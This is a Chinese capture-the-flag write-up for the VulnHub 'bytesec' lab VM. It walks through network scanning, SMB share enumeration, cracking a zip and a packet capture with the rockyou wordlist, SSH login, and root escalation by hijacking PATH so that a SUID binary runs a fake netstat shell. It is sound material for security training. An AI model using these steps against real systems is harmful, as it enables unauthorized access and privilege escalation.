bytesec靶场

news2025/1/19 16:59:30

靶场下载


https://www.vulnhub.com/entry/hacknos-os-bytesec,393/

下载完成后进入配置修改网卡

教程

配置

第一步:启动靶机时按下 shift 键,

  • 进入以下界面

image-20230811104648298

第二步:选择第二个选项,然后按下 e 键,进入编辑界面

image-20230811104707659

将这里的ro修改为rw single init=/bin/bash,然后按ctrl+x,进入一个相当于控制台的界面,里面可以执行命令

image-20230811104721458

ip a 查看一下实际用的网卡,这里是ens33

image-20230811104737405

vim /etc/network/interfaces 看一下配置信息用的是哪一个网卡,如果不一致,则将这两个都改成 ens33

  • 按下 i 即可进入编辑模式

image-20230811104752952

/etc/init.d/networking restart 重启网卡服务

一、发现主机

工具nmap及netdiscover

nmap -sP 192.168.16.0/24

or

netdiscover -i eth0 -r 192.168.16.0/24

image-20230815105541557

登录验证:

image-20230815105557214

获取详细信息

nmap -sV -sC -A  192.168.16.175  

可知版本号,常见开放端口等

image-20230815105756849

二、扫描目录

工具gobuster

gobuster  dir -u http://192.168.16.175    -w /usr/share/wordlists/dirbuster/directory-list-2.3-sma

image-20230815110115521

工具 dirsearch

dirsearch -u http://192.168.16.175/

image-20230815112039284

访问扫描到的目录,发现基本都是图片,没有什么可以利用的信息

三、 smb服务漏洞

刚刚扫描中有发现smb服务,

445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)

文件共享服务(SMB)解释:

通过网络提供文件共享服务,提供文件下载和上传服务(类似于FTP服务器)

工具 smbmap

SMBMap允许用户枚举整个域中的samba共享驱动器。用户可以使用该工具列出共享驱动器、驱动器权限、共享内容、上传/下载功能、文件名自动下载模式匹配,甚至远程执行命令。该工具原本的设计初衷是为了简化在大型网络中搜索潜在敏感数据的过程。

smbmap -H 192.168.16.175 

这里显示没有权限:NO ACCESS

image-20230815114116772

工具enum4linux

Enum4linux是用于枚举windows和Linux系统上的SMB服务的工具。可以轻松的从与SMB服务有关的目标中快速提取信息。

enum4linux 192.168.16.175

image-20230815114618934

显示用户名保存下

image-20230815114754857

尝试登录

smbmap -H 192.168.16.175 -u 用户名

使用 smb用户发现是可读的,应该是没有密码

image-20230815115202983

工具smbclinet

smbclient是客户端软件,是测试与Windows共享连接的有用工具。它可用于传输文件或查看共享名。

直接连接:

smbclient//192.168.16.175 -U smb 

报错:

image-20230815115911251

这里猜测是隐藏文件

访问

smbclient //192.168.16.175/smb  -U smb

成功连接并可以执行命令

image-20230815120024739

发现一个main.txt文件和一个safe.zip压缩文件,直接查看失败

下载到本地进行查看

get main.txt

get safe.zip

image-20230815140741410

main.txt中没有东西,safe.zip中有密码

解密 工具:fcrackzip 破解压缩文件

Fcrackzip是一款专门破解zip类型压缩文件密码的工具,工具小巧方便、破解速度快,能使用字典和指定字符集破解,适用于linux、mac osx 系统。

部分重要参数说明

-b 表示使用暴利破解的方式
-c 'aA1' 表示使用大小写字母和数字混合破解的方式
-l 1-10 表示需要破解的密码长度为1到10位
-u 表示只显示破解出来的密码,其他错误的密码不显示出
-D 表示要使用字典破解
-p 表示要使用那个字典破解

注:Kali linux自带了一些字典在/usr/share/wordlists/文件夹下。

这里使用的字典为rockyou.txt需要在kali中解压后使用

gzip -d /usr/share/wordlists/rockyou.txt.gz

语法:

fcrackzip  -D -p /usr/share/wordlists/rockyou.txt  -u  safe.zip 

image-20230815142203970

解压后,里面一个图片和一个cap文件,使用wireshark打开,但是没有发现什么可用信息。

图片查看:exiftool secret.jpg

image-20230815143314957

image-20230815143054164

工具aircrack-ng 猜测数据包

Aircrack-ng是一款用于无线网络渗透测试的工具,它可以扫描无线网络、捕获数据包、破解密码等。

流量包中可能存在密码使用工具猜解密码

aircrack-ng -w /usr/share/wordlists/rockyou.txt user.cap

密码可能是 snowflake,账号在刚刚得到的三个中进行尝试

image-20230815150404561

ssh远程登陆

ssh     blackjax@192.168.16.175 -p 2525

输入密码:snowflake登录成功,更改为bash模式

image-20230815150903356

查看当前存在的用户

cat /etc/passwd

image-20230815151057759

返回得到第一个flag

image-20230815151203482

四、劫持命令提权

1.查找出具有suid权限的文件

SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了

已知的可用来提权的linux可行性的文件列表如下:
nmap
vim
find
bash
more
less
nano
cp

查找语句

find / -perm -u=s -type f 2>/dev/null

image-20230815155246089

发现netscan命令

2.分析netscan文件

查看

netstat -anpt

netscan
两条命令,执行结果基本一致

image-20230815160950543

xxd命令可以为给定的标准输入或者文件做一次十六进制的输出

这里使用xxd是因为文件是C编译的

xxd /usr/bin/netscan | less

可以看到该文件这边是调用了netstat -anpt命令

image-20230815161320887

确认该文件为root权限

image-20230815161518194

3.添加劫持

cd /tmp/
这里要先切换到临时目录
echo "/bin/sh" >netstat

#在临时目录创建一个文件调用netstat这个命令 
chmod 777 netstat
export PATH=/tmp:$PATH   

#意思是可执行文件的路径包括原先设定的路径,也包括从“路径1”到“路径n”的所有路径。

image-20230815162912379

最后执行netscan,提权成功

image-20230815162855293

查看获取flag

# cd /home/blackjax
# ls
user.txt
# cat user.txt

image-20230815163042895

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/884310.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

python快速两两元素求相似矩阵

目录 1. 计算相似度矩阵2. 基于sklearn 1. 计算相似度矩阵 计算相似度矩阵的方法有很多种,发现了sklearn中直接有通过计算余弦相似度得到相似度矩阵的方法 1 sklearn.metrics.pairwise.cosine_similarity # 余弦相似度 2 sklearn.metrics.pairwise.pairwise_distan…

【NetCore】09-中间件

文章目录 中间件:掌控请求处理过程的关键1. 中间件1.1 中间件工作原理1.2 中间件核心对象 2.异常处理中间件:区分真异常和逻辑异常2.1 处理异常的方式2.1.1 日常错误处理--定义错误页的方法2.1.2 使用代理方法处理异常2.1.3 异常过滤器 IExceptionFilter2.1.4 特性过…

NTN(六) switchover

NTN中的switchover包括feeder link switchover和 serving link switch。所谓feeder link switchover就是将feeder link从source NTN 网关更改为特定 NTN payload的target NTN 网关的过程。 feeder link switchover是网络层过程。 而service link switch则是指serving NTN paylo…

OpenCV分析tfboys十周年演唱会灯牌大战结果

前言 在Android音视频开发中,网上知识点过于零碎,自学起来难度非常大,不过音视频大牛Jhuster提出了《Android 音视频从入门到提高 - 任务列表》,结合我自己的工作学习经历,我准备写一个音视频系列blog。本文是音视频系…

【代码质量】认知复杂度(COGNITIVE COMPLEXITY)一种衡量可理解性的新方法

白皮书地址 摘要:圈复杂度最初是作为“可测试性和模块控制流的“可维护性”。虽然它擅长于衡量前者,但它的数学模型不能产生一个令人满意的值来衡量后者。本文描述一种打破数学度量模型的新度量模型来评估代码,以弥补圈复杂度的缺点&#xf…

【科研论文配图绘制】task1 掌握科研绘图的基本知识

【科研论文配图绘制】task1 掌握科研绘图的基本知识 写在最前 8月份Datawhale组队学习,写下该博客记录学习内容 1.科研论文配图的分类与构成 2.科研论文配图的格式和尺寸 3.科研论文配图中的字体和字号设置 4.科研论文配图的版式设计、结构布局和颜色搭配 占个…

【校招VIP】CSS校招考点之选择器优先级

考点介绍: 选择器是CSS的基础,也是校招中的高频考点,特别是复合选择器的执行优先级,同时也是实战中样式不生效的跟踪依据。 因为选择器的种类较多,很难直接记忆,可以考虑选择一个相对值,比如id类…

day4 IO模型

IO多路复用 1.select函数 服务器: 客户端 poll函数 客户端:

《Java-SE-第三十八章》之注解

前言 在你立足处深挖下去,就会有泉水涌出!别管蒙昧者们叫嚷:“下边永远是地狱!” 博客主页:KC老衲爱尼姑的博客主页 博主的github,平常所写代码皆在于此 共勉:talk is cheap, show me the code 作者是爪哇岛的新手,水平很有限&…

每日记--前端解决方案--el-select下拉样式-el-option内容过长-鼠标悬停到文字不修改光标样式-设置透明

文章目录 el-select下拉样式el-select中el-option内容过长解决办法鼠标悬停到文字不修改光标样式设置透明 el-select下拉样式 element-ui自带样式设置popper-class el-select中el-option内容过长解决办法 问题:像这样选项太长了,不好看 解决&#xf…

关于Linux文件系统只读问题的修改笔记

1.问题 2. 原因 系统异常关机或者代码修改错误导致硬盘挂载出现问题开启只读模式,但是重启有时候可以解决。 3.解决方法 1. mount查看那个挂载的硬盘出现问题(ro标识只读) mount | grep ro2.找到硬盘,重新挂载即可 sudo mount -o remount,rw /sys/f…

半导体市场震荡,硅晶圆价格下修成焦点 | 百能云芯

半导体市场状况不容乐观,原本被半导体晶圆制造厂视为稳定业绩的长期合同开始面临松动。行业内传出,国内重要的晶圆代工大厂已向日本硅晶圆供应商提出要求降低明年合同价格的请求,以共同应对困境,双方目前正处于激烈的博弈中。鉴于…

测试相关Liunx基础知识

Linux的历史和安装 基本常识 Liunx目录结果 常见

1€滤波器(1 Euro Filter)使用介绍

怎么调整欧拉角x、y、z的抖动问题?

python+django+mysql项目实践四(信息修改+用户登陆)

python项目实践 环境说明: Pycharm 开发环境 Django 前端 MySQL 数据库 Navicat 数据库管理 用户信息修改 修改用户信息需要显示原内容,进行修改 通过url传递编号 urls views 修改内容需要用数据库的更新,用update进行更新,用filter进行选择 输入参数多nid,传递要修…

数据结构--有向⽆环图 描述表达式

数据结构–有向⽆环图 描述表达式 有向⽆环图 \color{red}有向⽆环图 有向⽆环图:若⼀个有向图中 不存在环 \color{red}不存在环 不存在环,则称为有向⽆环图,简称 D A G 图 \color{red}DAG图 DAG图(Directed Acyclic Graph&#x…

2021年09月 C/C++(二级)真题解析#中国电子学会#全国青少年软件编程等级考试

第1题:字符统计 给定一个由a-z这26个字符组成的字符串,统计其中哪个字符出现的次数最多。 输入 输入包含一行,一个字符串,长度不超过1000。 输出 输出一行,包括出现次数最多的字符和该字符出现的次数,中间以…

autodock后的pdbqt文件怎么通过网站分析?

首先需要在pymol中打开这个docking后的分子 然后再打开受体, 注意:顺序不要反,顺序反了会导致网址分析错误 最后导出为pdb就可以了放在网站上用了 网址:https://plip-tool.biotec.tu-dresden.de/plip-web/plip/index

RK3568KK操作手册

一.烧录MCU 板子不用上电,接上烧录器 打开 HOPE3000 For e-Link 烧录软件。选择文件,选择要烧录的固件:HT66F2030.MTP 选择3V 点击下载, 点击所有 烧录成功如图所示: 二.接上电源&am…

什么是自动化测试?如何做自动化测试?

前面介绍了功能测试和接口测试,在介绍接口测试时提到了实现API自动化。那具体什么是自动化,为什么要做自动化,这里我们集中总结。 一. 什么是自动化? 顾名思义,自动化测试是相对人工测试而言的,它是指把人…